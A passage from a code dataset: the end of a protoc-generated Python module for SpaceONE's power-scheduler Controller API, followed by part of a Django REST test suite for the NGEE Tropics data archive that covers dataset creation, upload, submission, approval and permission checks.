full_name='spaceone.api.power_scheduler.v1.UpdatePluginRequest.controller_id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='version', full_name='spaceone.api.power_scheduler.v1.UpdatePluginRequest.version', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='options', full_name='spaceone.api.power_scheduler.v1.UpdatePluginRequest.options', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='domain_id', full_name='spaceone.api.power_scheduler.v1.UpdatePluginRequest.domain_id', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1584, serialized_end=1706, ) _VERIFYPLUGINREQUEST = _descriptor.Descriptor( name='VerifyPluginRequest', full_name='spaceone.api.power_scheduler.v1.VerifyPluginRequest', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='controller_id', full_name='spaceone.api.power_scheduler.v1.VerifyPluginRequest.controller_id', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secret_id', full_name='spaceone.api.power_scheduler.v1.VerifyPluginRequest.secret_id', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='domain_id', full_name='spaceone.api.power_scheduler.v1.VerifyPluginRequest.domain_id', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1708, serialized_end=1790, ) _PLUGININFO.fields_by_name['options'].message_type = google_dot_protobuf_dot_struct__pb2._STRUCT _PLUGININFO.fields_by_name['metadata'].message_type = google_dot_protobuf_dot_struct__pb2._STRUCT _CREATECONTROLLERREQUEST.fields_by_name['plugin_info'].message_type = _PLUGININFO _CREATECONTROLLERREQUEST.fields_by_name['tags'].message_type = google_dot_protobuf_dot_struct__pb2._STRUCT _UPDATECONTROLLERREQUEST.fields_by_name['plugin_info'].message_type = _PLUGININFO _UPDATECONTROLLERREQUEST.fields_by_name['tags'].message_type = google_dot_protobuf_dot_struct__pb2._STRUCT _CONTROLLERQUERY.fields_by_name['query'].message_type = spaceone_dot_api_dot_core_dot_v1_dot_query__pb2._QUERY _CONTROLLERINFO.fields_by_name['capability'].message_type = google_dot_protobuf_dot_struct__pb2._STRUCT _CONTROLLERINFO.fields_by_name['plugin_info'].message_type = _PLUGININFO _CONTROLLERINFO.fields_by_name['tags'].message_type = google_dot_protobuf_dot_struct__pb2._STRUCT _CONTROLLERSINFO.fields_by_name['results'].message_type = _CONTROLLERINFO _CONTROLLERSTATQUERY.fields_by_name['query'].message_type = spaceone_dot_api_dot_core_dot_v1_dot_query__pb2._STATISTICSQUERY _CONTROLREQUEST.fields_by_name['filter'].message_type = google_dot_protobuf_dot_struct__pb2._STRUCT _UPDATEPLUGINREQUEST.fields_by_name['options'].message_type = google_dot_protobuf_dot_struct__pb2._STRUCT DESCRIPTOR.message_types_by_name['PluginInfo'] = _PLUGININFO DESCRIPTOR.message_types_by_name['CreateControllerRequest'] = _CREATECONTROLLERREQUEST DESCRIPTOR.message_types_by_name['UpdateControllerRequest'] = _UPDATECONTROLLERREQUEST DESCRIPTOR.message_types_by_name['ControllerRequest'] = _CONTROLLERREQUEST DESCRIPTOR.message_types_by_name['GetControllerRequest'] = _GETCONTROLLERREQUEST DESCRIPTOR.message_types_by_name['ControllerQuery'] = _CONTROLLERQUERY DESCRIPTOR.message_types_by_name['ControllerInfo'] = _CONTROLLERINFO DESCRIPTOR.message_types_by_name['ControllersInfo'] = _CONTROLLERSINFO DESCRIPTOR.message_types_by_name['ControllerStatQuery'] = _CONTROLLERSTATQUERY DESCRIPTOR.message_types_by_name['ControlRequest'] = _CONTROLREQUEST DESCRIPTOR.message_types_by_name['UpdatePluginRequest'] = _UPDATEPLUGINREQUEST DESCRIPTOR.message_types_by_name['VerifyPluginRequest'] = _VERIFYPLUGINREQUEST _sym_db.RegisterFileDescriptor(DESCRIPTOR) PluginInfo = _reflection.GeneratedProtocolMessageType('PluginInfo', (_message.Message,), { 'DESCRIPTOR' : _PLUGININFO, '__module__' : 'spaceone.api.power_scheduler.v1.controller_pb2' # @@protoc_insertion_point(class_scope:spaceone.api.power_scheduler.v1.PluginInfo) }) _sym_db.RegisterMessage(PluginInfo) CreateControllerRequest = _reflection.GeneratedProtocolMessageType('CreateControllerRequest', (_message.Message,), { 'DESCRIPTOR' : _CREATECONTROLLERREQUEST, '__module__' : 'spaceone.api.power_scheduler.v1.controller_pb2' # @@protoc_insertion_point(class_scope:spaceone.api.power_scheduler.v1.CreateControllerRequest) }) _sym_db.RegisterMessage(CreateControllerRequest) UpdateControllerRequest = _reflection.GeneratedProtocolMessageType('UpdateControllerRequest', (_message.Message,), { 'DESCRIPTOR' : _UPDATECONTROLLERREQUEST, '__module__' : 'spaceone.api.power_scheduler.v1.controller_pb2' # @@protoc_insertion_point(class_scope:spaceone.api.power_scheduler.v1.UpdateControllerRequest) }) _sym_db.RegisterMessage(UpdateControllerRequest) ControllerRequest = _reflection.GeneratedProtocolMessageType('ControllerRequest', (_message.Message,), { 'DESCRIPTOR' : _CONTROLLERREQUEST, '__module__' : 'spaceone.api.power_scheduler.v1.controller_pb2' # @@protoc_insertion_point(class_scope:spaceone.api.power_scheduler.v1.ControllerRequest) }) _sym_db.RegisterMessage(ControllerRequest) GetControllerRequest = _reflection.GeneratedProtocolMessageType('GetControllerRequest', (_message.Message,), { 'DESCRIPTOR' : _GETCONTROLLERREQUEST, '__module__' : 'spaceone.api.power_scheduler.v1.controller_pb2' # @@protoc_insertion_point(class_scope:spaceone.api.power_scheduler.v1.GetControllerRequest) }) _sym_db.RegisterMessage(GetControllerRequest) ControllerQuery = _reflection.GeneratedProtocolMessageType('ControllerQuery', (_message.Message,), { 'DESCRIPTOR' : _CONTROLLERQUERY, '__module__' : 'spaceone.api.power_scheduler.v1.controller_pb2' # @@protoc_insertion_point(class_scope:spaceone.api.power_scheduler.v1.ControllerQuery) }) _sym_db.RegisterMessage(ControllerQuery) ControllerInfo = _reflection.GeneratedProtocolMessageType('ControllerInfo', (_message.Message,), { 'DESCRIPTOR' : _CONTROLLERINFO, '__module__' : 'spaceone.api.power_scheduler.v1.controller_pb2' # @@protoc_insertion_point(class_scope:spaceone.api.power_scheduler.v1.ControllerInfo) }) _sym_db.RegisterMessage(ControllerInfo) ControllersInfo = _reflection.GeneratedProtocolMessageType('ControllersInfo', (_message.Message,), { 'DESCRIPTOR' : _CONTROLLERSINFO, '__module__' : 'spaceone.api.power_scheduler.v1.controller_pb2' # @@protoc_insertion_point(class_scope:spaceone.api.power_scheduler.v1.ControllersInfo) }) _sym_db.RegisterMessage(ControllersInfo) ControllerStatQuery = _reflection.GeneratedProtocolMessageType('ControllerStatQuery', (_message.Message,), { 'DESCRIPTOR' : _CONTROLLERSTATQUERY, '__module__' : 'spaceone.api.power_scheduler.v1.controller_pb2' # @@protoc_insertion_point(class_scope:spaceone.api.power_scheduler.v1.ControllerStatQuery) }) _sym_db.RegisterMessage(ControllerStatQuery) ControlRequest = _reflection.GeneratedProtocolMessageType('ControlRequest', (_message.Message,), { 'DESCRIPTOR' : _CONTROLREQUEST, '__module__' : 'spaceone.api.power_scheduler.v1.controller_pb2' # @@protoc_insertion_point(class_scope:spaceone.api.power_scheduler.v1.ControlRequest) }) _sym_db.RegisterMessage(ControlRequest) UpdatePluginRequest = _reflection.GeneratedProtocolMessageType('UpdatePluginRequest', (_message.Message,), { 'DESCRIPTOR' : _UPDATEPLUGINREQUEST, '__module__' : 'spaceone.api.power_scheduler.v1.controller_pb2' # @@protoc_insertion_point(class_scope:spaceone.api.power_scheduler.v1.UpdatePluginRequest) }) _sym_db.RegisterMessage(UpdatePluginRequest) VerifyPluginRequest = _reflection.GeneratedProtocolMessageType('VerifyPluginRequest', (_message.Message,), { 'DESCRIPTOR' : _VERIFYPLUGINREQUEST, '__module__' : 'spaceone.api.power_scheduler.v1.controller_pb2' # @@protoc_insertion_point(class_scope:spaceone.api.power_scheduler.v1.VerifyPluginRequest) }) _sym_db.RegisterMessage(VerifyPluginRequest) _CONTROLLER = _descriptor.ServiceDescriptor( name='Controller', full_name='spaceone.api.power_scheduler.v1.Controller', file=DESCRIPTOR, index=0, serialized_options=None, create_key=_descriptor._internal_create_key, serialized_start=1793, serialized_end=3274, methods=[ _descriptor.MethodDescriptor( name='create', full_name='spaceone.api.power_scheduler.v1.Controller.create', index=0, containing_service=None, input_type=_CREATECONTROLLERREQUEST, output_type=_CONTROLLERINFO, serialized_options=b'\202\323\344\223\002!\"\037/power-scheduler/v1/controllers', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='update', full_name='spaceone.api.power_scheduler.v1.Controller.update', index=1, containing_service=None, input_type=_UPDATECONTROLLERREQUEST, output_type=_CONTROLLERINFO, serialized_options=b'\202\323\344\223\0020\032./power-scheduler/v1/controller/{controller_id}', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='delete', full_name='spaceone.api.power_scheduler.v1.Controller.delete', index=2, containing_service=None, input_type=_CONTROLLERREQUEST, output_type=google_dot_protobuf_dot_empty__pb2._EMPTY, serialized_options=b'\202\323\344\223\0020*./power-scheduler/v1/controller/{controller_id}', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='get', full_name='spaceone.api.power_scheduler.v1.Controller.get', index=3, containing_service=None, input_type=_GETCONTROLLERREQUEST, output_type=_CONTROLLERINFO, serialized_options=b'\202\323\344\223\0020\022./power-scheduler/v1/controller/{controller_id}', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='list', full_name='spaceone.api.power_scheduler.v1.Controller.list', index=4, containing_service=None, input_type=_CONTROLLERQUERY, output_type=_CONTROLLERSINFO, serialized_options=b'\202\323\344\223\002K\022\037/power-scheduler/v1/controllersZ(\"&/power-scheduler/v1/controllers/search', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='stat', full_name='spaceone.api.power_scheduler.v1.Controller.stat', index=5, containing_service=None, input_type=_CONTROLLERSTATQUERY, output_type=google_dot_protobuf_dot_struct__pb2._STRUCT, serialized_options=b'\202\323\344\223\002&\"$/power-scheduler/v1/controllers/stat', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='control', full_name='spaceone.api.power_scheduler.v1.Controller.control', index=6, containing_service=None, input_type=_CONTROLREQUEST, output_type=google_dot_protobuf_dot_empty__pb2._EMPTY, serialized_options=b'\202\323\344\223\0028\"6/power-scheduler/v1/controller/{controller_id}/control', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='update_plugin', full_name='spaceone.api.power_scheduler.v1.Controller.update_plugin', index=7, containing_service=None, input_type=_UPDATEPLUGINREQUEST, output_type=_CONTROLLERINFO, serialized_options=b'\202\323\344\223\0027\0325/power-scheduler/v1/controller/{controller_id}/plugin', create_key=_descriptor._internal_create_key, ), _descriptor.MethodDescriptor( name='verify_plugin', full_name='spaceone.api.power_scheduler.v1.Controller.verify_plugin', index=8, containing_service=None, input_type=_VERIFYPLUGINREQUEST, output_type=google_dot_protobuf_dot_empty__pb2._EMPTY, serialized_options=b'\202\323\344\223\002>\"</power-scheduler/v1/controller/{controller_id}/plugin/verify', create_key=_descriptor._internal_create_key, ), ]) _sym_db.RegisterServiceDescriptor(_CONTROLLER) DESCRIPTOR.services_by_name['Controller'] = _CONTROLLER # @@protoc_insertion_point(module_scope)
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0cd8a733f49a217cb81062ae5fe269d19890f3a1
65,641
py
Python
archive_api/tests/test_api.py
NGEET/ngt-archive
978b26b7617b5c465046121838c000c4c46022f4
[ "BSD-3-Clause-LBNL" ]
10
2017-04-15T14:43:22.000Z
2021-05-06T21:56:42.000Z
archive_api/tests/test_api.py
NGEET/ngt-archive
978b26b7617b5c465046121838c000c4c46022f4
[ "BSD-3-Clause-LBNL" ]
53
2017-06-13T20:45:26.000Z
2022-03-24T17:39:19.000Z
archive_api/tests/test_api.py
NGEET/ngt-archive
978b26b7617b5c465046121838c000c4c46022f4
[ "BSD-3-Clause-LBNL" ]
3
2017-06-16T17:34:15.000Z
2021-03-30T17:35:10.000Z
from __future__ import print_function, unicode_literals import json from unittest import mock from unittest.mock import PropertyMock import os import shutil from django.contrib.auth.models import User from django.core import mail from django.test import Client from django.test import override_settings from os.path import dirname from rest_framework import status from rest_framework.test import APITestCase from archive_api.models import DataSetDownloadLog, DataSet from ngt_archive import settings # Mock methods def get_max_size(size): """ Return a get_size method for the size given""" def get_size(): return size return get_size() class ApiRootClientTestCase(APITestCase): fixtures = ('test_auth.json', 'test_archive_api.json',) def setUp(self): self.client = Client() user = User.objects.get(username="auser") self.client.force_login(user) def test_client_get_root(self): response = self.client.get('/api/v1/') self.assertEqual(json.loads(response.content.decode('utf-8')), {"datasets": "http://testserver/api/v1/datasets/", "sites": "http://testserver/api/v1/sites/", "variables": "http://testserver/api/v1/variables/", "people": "http://testserver/api/v1/people/", "plots": "http://testserver/api/v1/plots/"}) @override_settings(EMAIL_NGEET_TEAM='ngeet-team@testserver', EMAIL_SUBJECT_PREFIX='[ngt-archive-test]') class DataSetClientTestCase(APITestCase): fixtures = ('test_auth.json', 'test_archive_api.json',) def login_user(self, username): user = User.objects.get(username=username) self.client.force_login(user) def setUp(self): self.client = Client() def test_set_publication_date_denied(self): self.login_user("vibe") ######################################################################### # User may NOT publication date to now response = self.client.get("/api/v1/datasets/2/publication_date/") value = json.loads(response.content.decode('utf-8')) self.assertEqual({'detail': 'Not found.'}, value) self.assertEqual(status.HTTP_404_NOT_FOUND, response.status_code) def test_client_list(self): # Unauthorized user that is not in any groups self.login_user("vibe") response = self.client.get('/api/v1/datasets/') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.login_user("auser") response = self.client.get('/api/v1/datasets/') self.assertEqual(len(json.loads(response.content.decode('utf-8'))), 3) self.assertEqual(status.HTTP_200_OK, response.status_code) self.login_user("lukecage") response = self.client.get('/api/v1/datasets/') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.assertEqual(len(json.loads(response.content.decode('utf-8'))), 1) self.login_user("arrow") response = self.client.get('/api/v1/datasets/') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.assertEqual(len(json.loads(response.content.decode('utf-8'))), 1) self.login_user("admin") response = self.client.get('/api/v1/datasets/') self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual(len(json.loads(response.content.decode('utf-8'))), 4) def test_options(self): self.login_user("auser") response = self.client.options('/api/v1/datasets/') self.assertContains(response, "actions") self.assertContains(response, "upload") self.assertContains(response, "submit") self.assertContains(response, "approve") self.assertContains(response, "unapprove") self.assertContains(response, "unsubmit") def test_client_unnamed(self): self.login_user("auser") response = self.client.post('/api/v1/datasets/', data='{"description":"A FooBarBaz DataSet",' '"authors":["http://testserver/api/v1/people/2/"] }', content_type='application/json') self.assertEqual(status.HTTP_201_CREATED, response.status_code) dataset_url = json.loads(response.content.decode('utf-8'))["url"] with open('{}/Archive.zip'.format(dirname(__file__)), 'rb') as fp: response = self.client.post("{}upload/".format(dataset_url), {'attachment': fp}) self.assertContains(response, '"success":true', status_code=status.HTTP_201_CREATED) response = self.client.get(dataset_url) self.assertContains(response, '{}archive/'.format(dataset_url), status_code=status.HTTP_200_OK) response = self.client.get('{}archive/'.format(dataset_url)) self.assertContains(response, ''.encode('utf-8')) self.assertTrue("Content-length" in response) self.assertEqual(response["Content-length"], '7686') self.assertTrue("Content-Disposition" in response) self.assertTrue("attachment; filename=Archive_" in response['Content-Disposition']) def test_client_get(self): # Unauthorized user that is not in any groups self.login_user("vibe") response = self.client.get('/api/v1/datasets/2/') self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.login_user("auser") response = self.client.get('/api/v1/datasets/2/') value = json.loads(response.content.decode('utf-8')) self.maxDiff=None self.assertEqual(value, {'modified_date': '2016-10-28T23:01:20.066913Z', 'doi': '', 'start_date': '2016-10-28', 'status_comment': '', 'plots': ['http://testserver/api/v1/plots/1/'], 'created_date': '2016-10-28T19:15:35.013361Z', 'funding_organizations': 'A few funding organizations', 'authors': ['http://testserver/api/v1/people/2/'], 'cdiac_import': False, 'doe_funding_contract_numbers': '', 'description': 'Qui illud verear persequeris te. Vis probo nihil verear an, zril tamquam philosophia eos te, quo ne fugit movet contentiones. Quas mucius detraxit vis an, vero omnesque petentium sit ea. Id ius inimicus comprehensam.', 'submission_date': '2016-10-28', 'qaqc_method_description': '', 'variables': ['http://testserver/api/v1/variables/2/', 'http://testserver/api/v1/variables/3/', 'http://testserver/api/v1/variables/1/'], 'archive': None, 'cdiac_submission_contact': None, 'reference': '', 'additional_access_information': '', 'contact': 'http://testserver/api/v1/people/2/', 'acknowledgement': '', 'data_set_id': 'NGT0001', 'archive_filename': None, 'modified_by': 'auser', 'status': '1', 'ngee_tropics_resources': True, 'qaqc_status': None, 'end_date': None, 'additional_reference_information': '', 'name': 'Data Set 2', 'managed_by': 'auser', 'sites': ['http://testserver/api/v1/sites/1/'], 'originating_institution': "LBNL", 'version': '0.0', 'url': 'http://testserver/api/v1/datasets/2/', 'access_level': '0', 'publication_date': None, } ) self.assertEqual(status.HTTP_200_OK, response.status_code) def test_client_post(self): self.login_user("auser") response = self.client.post('/api/v1/datasets/', data='{"name":"FooBarBaz","description":"A FooBarBaz DataSet",' '"authors":["http://testserver/api/v1/people/2/"] }', content_type='application/json') self.assertEqual(status.HTTP_201_CREATED, response.status_code) # Was the notification email sent? self.assertEqual(len(mail.outbox), 1) email = mail.outbox[0] self.assertEqual(email.subject,"[ngt-archive-test] Dataset Draft (NGT0004)") self.assertTrue(email.body.find("""The dataset NGT0004:FooBarBaz has been saved as a draft in the NGEE Tropics Archive. The dataset can be viewed at http://testserver. Login with your account credentials, select "Edit Drafts" and then click the "Edit" button for NGT0004:FooBarBaz. """) > 0) self.assertEqual(email.to,['myuser@foo.bar']) self.assertEqual(email.reply_to, settings.ARCHIVE_API['EMAIL_NGEET_TEAM']) value = json.loads(response.content.decode('utf-8')) self.assertEqual(value['access_level'], '0') self.assertEqual(value['sites'], []) self.assertEqual(value['managed_by'], 'auser') self.assertEqual(value['end_date'], None) self.assertEqual(value['doe_funding_contract_numbers'], None) self.assertEqual(value['funding_organizations'], None) self.assertEqual(value['description'], 'A FooBarBaz DataSet') self.assertEqual(value['additional_access_information'], None) self.assertEqual(value['name'], 'FooBarBaz') self.assertEqual(value['modified_by'], 'auser') self.assertEqual(value['ngee_tropics_resources'], None) self.assertEqual(value['status'], str(DataSet.STATUS_DRAFT)) self.assertEqual(value['doi'], None) self.assertEqual(value['plots'], []) self.assertEqual(value['contact'], None) self.assertEqual(value['reference'], None) self.assertEqual(value['variables'], []) self.assertEqual(value['additional_reference_information'], None) self.assertEqual(value['start_date'], None) self.assertEqual(value['acknowledgement'], None) self.assertEqual(value['status_comment'], None) self.assertEqual(value['submission_date'], None) self.assertEqual(value['qaqc_status'], None) self.assertEqual(value['authors'], ["http://testserver/api/v1/people/2/"]) self.assertEqual(value['url'], 'http://testserver/api/v1/datasets/5/') self.assertEqual(value['qaqc_method_description'], None) ######################################################################### # User may NOT publication date to now response = self.client.get("/api/v1/datasets/5/publication_date/") value = json.loads(response.content.decode('utf-8')) self.assertEqual({'detail': 'Only a dataset in SUBMITTED or APPROVED status may have a publication date set.'}, value) self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) # The submit action should fail response = self.client.post('/api/v1/datasets/5/submit/') self.assertEqual(status.HTTP_400_BAD_REQUEST, response.status_code) value = json.loads(response.content.decode('utf-8')) self.assertEqual({'missingRequiredFields': ['archive', 'sites', 'contact', 'variables', 'ngee_tropics_resources', 'funding_organizations', 'originating_institution']}, value) def test_client_put(self): self.login_user("auser") response = self.client.put('/api/v1/datasets/1/', data='{"data_set_id":"FooBarBaz","description":"A FooBarBaz DataSet",' '"name": "Data Set 1", ' '"status_comment": "",' '"doi": "",' '"start_date": "2016-10-28",' '"end_date": null,' '"qaqc_status": null,' '"qaqc_method_description": "",' '"ngee_tropics_resources": true,' '"funding_organizations": "",' '"doe_funding_contract_numbers": "",' '"acknowledgement": "",' '"reference": "",' '"additional_reference_information": "",' '"additional_access_information": "",' '"submission_date": "2016-10-28T19:12:35Z",' '"contact": "http://testserver/api/v1/people/4/",' '"authors": ["http://testserver/api/v1/people/1/"],' '"sites": ["http://testserver/api/v1/sites/1/"],' '"plots": ["http://testserver/api/v1/plots/1/"],' '"variables": ["http://testserver/api/v1/variables/1/", ' '"http://testserver/api/v1/variables/2/"]}', content_type='application/json') self.assertEqual(status.HTTP_200_OK, response.status_code) response = self.client.get('/api/v1/datasets/1/') value = json.loads(response.content.decode('utf-8')) self.assertEqual(value['description'], "A FooBarBaz DataSet") def test_user_workflow(self): """ Test dataset workflow for an NGT User :return: """ self.login_user("auser") ######################################################################### # A dataset in submitted mode may not be submitted response = self.client.get("/api/v1/datasets/2/submit/") # In submitted mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.assertEqual({'detail': 'Only a data set in DRAFT status may be submitted'}, value) ######################################################################### # NGT User may not APPROVE a dataset response = self.client.get("/api/v1/datasets/1/approve/") # In draft mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.assertEqual({'detail': 'You do not have permission to perform this action.'}, value) ######################################################################### # NGT User may not APPROVE a dataset response = self.client.get("/api/v1/datasets/2/approve/") # In submitted mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.assertEqual({'detail': 'You do not have permission to perform this action.'}, value) ######################################################################### # NGT User may edit a dataset in DRAFT mode if they own it response = self.client.get("/api/v1/datasets/1/submit/") # In draft mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_400_BAD_REQUEST, response.status_code) self.assertEqual({'missingRequiredFields': ['archive','authors', 'funding_organizations', 'originating_institution']}, value) response = self.client.put('/api/v1/datasets/1/', data='{"data_set_id":"FooBarBaz","description":"A FooBarBaz DataSet",' '"name": "Data Set 1", ' '"status_comment": "",' '"doi": "",' '"start_date": "2016-10-28",' '"end_date": null,' '"qaqc_status": null,' '"qaqc_method_description": "",' '"ngee_tropics_resources": true,' '"funding_organizations": "The funding organizations for my dataset",' '"doe_funding_contract_numbers": "",' '"acknowledgement": "",' '"reference": "",' '"additional_reference_information": "",' '"originating_institution": "Lawrence Berkeley National Lab",' '"additional_access_information": "",' '"submission_date": "2016-10-28T19:12:35Z",' '"contact": "http://testserver/api/v1/people/4/",' '"authors": ["http://testserver/api/v1/people/1/"],' '"sites": ["http://testserver/api/v1/sites/1/"],' '"plots": ["http://testserver/api/v1/plots/1/"],' '"variables": ["http://testserver/api/v1/variables/1/", ' '"http://testserver/api/v1/variables/2/"]}', content_type='application/json') self.assertEqual(status.HTTP_200_OK, response.status_code) ######################################################################### # NGT User may not SUBMIT a dataset in DRAFT mode if they owne it #Make sure file is uploaded first with open('{}/Archive.zip'.format(dirname(__file__)), 'rb') as fp: response = self.client.post('/api/v1/datasets/1/upload/', {'attachment': fp}) self.assertContains(response, '"success":true', status_code=status.HTTP_201_CREATED) response = self.client.get("/api/v1/datasets/1/submit/") # In draft mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual({'detail': 'DataSet has been submitted.', 'success': True}, value) ######################################################################### # NGT User may not unsubmit a dataset response = self.client.get("/api/v1/datasets/1/unsubmit/") # In draft mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.assertEqual({'detail': 'You do not have permission to perform this action.'}, value) def test_admin_approve_workflow(self): """ Test Admin dataset workflow :return: """ self.login_user("admin") ######################################################################### # NGT Administrator may edit any DRAFT status (this will fail due to missing fields) response = self.client.get("/api/v1/datasets/1/submit/") # In draft mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual({'missingRequiredFields': ['archive','authors', 'funding_organizations', 'originating_institution']}, value) self.assertEqual(status.HTTP_400_BAD_REQUEST, response.status_code) self.assertEqual(0, len(mail.outbox)) # no notification emails sent ######################################################################### # Cannot submit a dataset that it already in SUBMITTED status response = self.client.get("/api/v1/datasets/2/submit/") # In submitted mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.assertEqual({'detail': 'Only a data set in DRAFT status may be submitted'}, value) self.assertEqual(0, len(mail.outbox)) # no notification emails sent with open('{}/Archive.zip'.format(dirname(__file__)), 'rb') as fp: response = self.client.post('/api/v1/datasets/2/upload/', {'attachment': fp}) self.assertContains(response, '"success":true', status_code=status.HTTP_201_CREATED) ######################################################################### # NGT Administrator may edit a dataset in SUBMITTED status response = self.client.put('/api/v1/datasets/2/', data='{"description":"A FooBarBaz DataSet",' '"name": "Data Set 2", ' '"status_comment": "",' '"doi": "",' '"originating_institution": "Lawrence Berkeley National Lab",' '"start_date": "2016-10-28",' '"end_date": null,' '"qaqc_status": null,' '"qaqc_method_description": "",' '"ngee_tropics_resources": true,' '"funding_organizations": "The funding organizations for my dataset",' '"doe_funding_contract_numbers": "",' '"acknowledgement": "",' '"reference": "",' '"access_level": "0",' '"additional_reference_information": "",' '"additional_access_information": "",' '"submission_date": "2016-10-28T19:12:35Z",' '"contact": "http://testserver/api/v1/people/4/",' '"authors": ["http://testserver/api/v1/people/4/","http://testserver/api/v1/people/3/"],' '"sites": ["http://testserver/api/v1/sites/1/"],' '"plots": ["http://testserver/api/v1/plots/1/"],' '"variables": ["http://testserver/api/v1/variables/1/", ' '"http://testserver/api/v1/variables/2/"]}', content_type='application/json') self.assertEqual(status.HTTP_200_OK, response.status_code) response = self.client.get("/api/v1/datasets/2/") # check authors value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual(value["description"], "A FooBarBaz DataSet") self.assertEqual(value["name"], "Data Set 2") self.assertEqual(value["status_comment"], "") self.assertEqual(value["doi"], "") self.assertEqual(value["originating_institution"], "Lawrence Berkeley National Lab") self.assertEqual(value["start_date"], "2016-10-28") self.assertEqual(value["end_date"], None) self.assertEqual(value["qaqc_status"], None) self.assertEqual(value["qaqc_method_description"], "") self.assertEqual(value["ngee_tropics_resources"], True) self.assertEqual(value["funding_organizations"], "The funding organizations for my dataset") self.assertEqual(value["doe_funding_contract_numbers"], "") self.assertEqual(value["acknowledgement"], "") self.assertEqual(value["reference"], "") self.assertEqual(value["access_level"], "0") self.assertEqual(value["additional_reference_information"], "") self.assertEqual(value["additional_access_information"], "") self.assertEqual(value["contact"], "http://testserver/api/v1/people/4/") self.assertEqual(value["authors"], ["http://testserver/api/v1/people/4/", "http://testserver/api/v1/people/3/"]) self.assertEqual(value["sites"], ["http://testserver/api/v1/sites/1/"]) self.assertEqual(value["plots"], ["http://testserver/api/v1/plots/1/"]) self.assertEqual(value["variables"], ["http://testserver/api/v1/variables/2/","http://testserver/api/v1/variables/1/"]) ######################################################################### # A dataset that is not in SUBMITTED status may not be approved response = self.client.get("/api/v1/datasets/1/approve/") # In draft mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code) self.assertEqual({'detail': 'Only a data set in SUBMITTED status may be approved'}, value) self.assertEqual(0, len(mail.outbox)) # no notification emails sent ######################################################################### # NGT Administrator may APPROVE a SUBMITTED dataset response = self.client.get("/api/v1/datasets/2/approve/") # In submitted mode, owned by auser value = json.loads(response.content.decode('utf-8')) self.assertEqual(status.HTTP_200_OK, response.status_code) self.assertEqual({'detail': 'DataSet has been approved.', 'success': True}, value) # Was the notification email sent? self.assertEqual(len(mail.outbox), 1) email = mail.outbox[0] self.assertEqual(email.subject, "[ngt-archive-test] Dataset Approved (NGT0001)") self.assertTrue(email.body.find("""The dataset NGT0001:Data Set 2 created on 10/28/2016 has been approved for release. The dataset can be viewed at http://testserver. Login with your account credentials, select "View Approved Datasets" and then click the "Approve" button for NGT0001:Data Set 2. """) > 0) self.assertEqual(email.to, 